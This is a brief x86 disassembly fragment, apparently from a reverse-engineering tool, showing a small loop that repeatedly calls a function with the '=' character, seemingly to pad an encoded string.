push 3
pop edi
cmp ecx, edi
jge 0x40fcce
sub edi, ecx
push 0x3d
push 1
mov ecx, esi
call fcn.00415b28
sub edi, 1
jne 0x40fcbe
mov eax, esi
call fcn.0043ae4e
ret